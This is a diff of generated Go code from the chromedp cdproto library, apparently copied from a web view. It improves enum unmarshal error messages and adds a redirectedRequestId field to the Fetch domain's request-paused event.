@@ -200,7 +200,7 @@ func (t *OrientationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = OrientationTypeLandscapeSecondary
default:
in.AddError(errors.New("unknown OrientationType value"))
in.AddError(fmt.Errorf("unknown OrientationType value: %v", v))
}
}
@@ -238,14 +238,15 @@ func (t DisplayFeatureOrientation) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *DisplayFeatureOrientation) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch DisplayFeatureOrientation(in.String()) {
v := in.String()
switch DisplayFeatureOrientation(v) {
case DisplayFeatureOrientationVertical:
*t = DisplayFeatureOrientationVertical
case DisplayFeatureOrientationHorizontal:
*t = DisplayFeatureOrientationHorizontal
default:
in.AddError(errors.New("unknown DisplayFeatureOrientation value"))
in.AddError(fmt.Errorf("unknown DisplayFeatureOrientation value: %v", v))
}
}
@@ -283,14 +284,15 @@ func (t SetEmitTouchEventsForMouseConfiguration) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *SetEmitTouchEventsForMouseConfiguration) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch SetEmitTouchEventsForMouseConfiguration(in.String()) {
v := in.String()
switch SetEmitTouchEventsForMouseConfiguration(v) {
case SetEmitTouchEventsForMouseConfigurationMobile:
*t = SetEmitTouchEventsForMouseConfigurationMobile
case SetEmitTouchEventsForMouseConfigurationDesktop:
*t = SetEmitTouchEventsForMouseConfigurationDesktop
default:
in.AddError(errors.New("unknown SetEmitTouchEventsForMouseConfiguration value"))
in.AddError(fmt.Errorf("unknown SetEmitTouchEventsForMouseConfiguration value: %v", v))
}
}
@@ -331,7 +333,8 @@ func (t SetEmulatedVisionDeficiencyType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *SetEmulatedVisionDeficiencyType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch SetEmulatedVisionDeficiencyType(in.String()) {
v := in.String()
switch SetEmulatedVisionDeficiencyType(v) {
case SetEmulatedVisionDeficiencyTypeNone:
*t = SetEmulatedVisionDeficiencyTypeNone
case SetEmulatedVisionDeficiencyTypeAchromatopsia:
@@ -346,7 +349,7 @@ func (t *SetEmulatedVisionDeficiencyType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = SetEmulatedVisionDeficiencyTypeTritanopia
default:
in.AddError(errors.New("unknown SetEmulatedVisionDeficiencyType value"))
in.AddError(fmt.Errorf("unknown SetEmulatedVisionDeficiencyType value: %v", v))
}
}
+8 -1
View File
@@ -750,7 +750,9 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFetch8(in *jlexer.Lexer, out
in.Delim(']')
}
case "networkId":
out.NetworkID = RequestID(in.String())
out.NetworkID = network.RequestID(in.String())
case "redirectedRequestId":
out.RedirectedRequestID = RequestID(in.String())
default:
in.SkipRecursive()
}
@@ -827,6 +829,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFetch8(out *jwriter.Writer, i
out.RawString(prefix)
out.String(string(in.NetworkID))
}
if in.RedirectedRequestID != "" {
const prefix string = ",\"redirectedRequestId\":"
out.RawString(prefix)
out.String(string(in.RedirectedRequestID))
}
out.RawByte('}')
}
+2 -1
View File
@@ -24,7 +24,8 @@ type EventRequestPaused struct {
ResponseStatusCode int64 `json:"responseStatusCode,omitempty"` // Response code if intercepted at response stage.
ResponseStatusText string `json:"responseStatusText,omitempty"` // Response status text if intercepted at response stage.
ResponseHeaders []*HeaderEntry `json:"responseHeaders,omitempty"` // Response headers if intercepted at the response stage.
NetworkID RequestID `json:"networkId,omitempty"` // If the intercepted request had a corresponding Network.requestWillBeSent event fired for it, then this networkId will be the same as the requestId present in the requestWillBeSent event.
NetworkID network.RequestID `json:"networkId,omitempty"` // If the intercepted request had a corresponding Network.requestWillBeSent event fired for it, then this networkId will be the same as the requestId present in the requestWillBeSent event.
RedirectedRequestID RequestID `json:"redirectedRequestId,omitempty"` // If the request is due to a redirect response from the server, the id of the request that has caused the redirect.
}
// EventAuthRequired issued when the domain is enabled with
+4 -2
View File
@@ -165,7 +165,7 @@ type ContinueRequestParams struct {
URL string `json:"url,omitempty"` // If set, the request url will be modified in a way that's not observable by page.
Method string `json:"method,omitempty"` // If set, the request method is overridden.
PostData string `json:"postData,omitempty"` // If set, overrides the post data in the request.
Headers []*HeaderEntry `json:"headers,omitempty"` // If set, overrides the request headers.
Headers []*HeaderEntry `json:"headers,omitempty"` // If set, overrides the request headers. Note that the overrides do not extend to subsequent redirect hops, if a redirect happens. Another override may be applied to a different request produced by a redirect.
InterceptResponse bool `json:"interceptResponse,omitempty"` // If set, overrides response interception behavior for this request.
}
@@ -202,7 +202,9 @@ func (p ContinueRequestParams) WithPostData(postData string) *ContinueRequestPar
return &p
}
// WithHeaders if set, overrides the request headers.
// WithHeaders if set, overrides the request headers. Note that the overrides
// do not extend to subsequent redirect hops, if a redirect happens. Another
// override may be applied to a different request produced by a redirect.
func (p ContinueRequestParams) WithHeaders(headers []*HeaderEntry) *ContinueRequestParams {
p.Headers = headers
return &p
+10 -7
View File
@@ -3,7 +3,7 @@ package fetch
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/chromedp/cdproto/network"
"github.com/mailru/easyjson"
@@ -51,14 +51,15 @@ func (t RequestStage) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *RequestStage) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch RequestStage(in.String()) {
v := in.String()
switch RequestStage(v) {
case RequestStageRequest:
*t = RequestStageRequest
case RequestStageResponse:
*t = RequestStageResponse
default:
in.AddError(errors.New("unknown RequestStage value"))
in.AddError(fmt.Errorf("unknown RequestStage value: %v", v))
}
}
@@ -131,14 +132,15 @@ func (t AuthChallengeSource) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *AuthChallengeSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch AuthChallengeSource(in.String()) {
v := in.String()
switch AuthChallengeSource(v) {
case AuthChallengeSourceServer:
*t = AuthChallengeSourceServer
case AuthChallengeSourceProxy:
*t = AuthChallengeSourceProxy
default:
in.AddError(errors.New("unknown AuthChallengeSource value"))
in.AddError(fmt.Errorf("unknown AuthChallengeSource value: %v", v))
}
}
@@ -179,7 +181,8 @@ func (t AuthChallengeResponseResponse) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *AuthChallengeResponseResponse) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch AuthChallengeResponseResponse(in.String()) {
v := in.String()
switch AuthChallengeResponseResponse(v) {
case AuthChallengeResponseResponseDefault:
*t = AuthChallengeResponseResponseDefault
case AuthChallengeResponseResponseCancelAuth:
@@ -188,7 +191,7 @@ func (t *AuthChallengeResponseResponse) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = AuthChallengeResponseResponseProvideCredentials
default:
in.AddError(errors.New("unknown AuthChallengeResponseResponse value"))
in.AddError(fmt.Errorf("unknown AuthChallengeResponseResponse value: %v", v))
}
}
Loaded 100 of 1252 files, more files were not shown because too many files have changed in this diff. Show more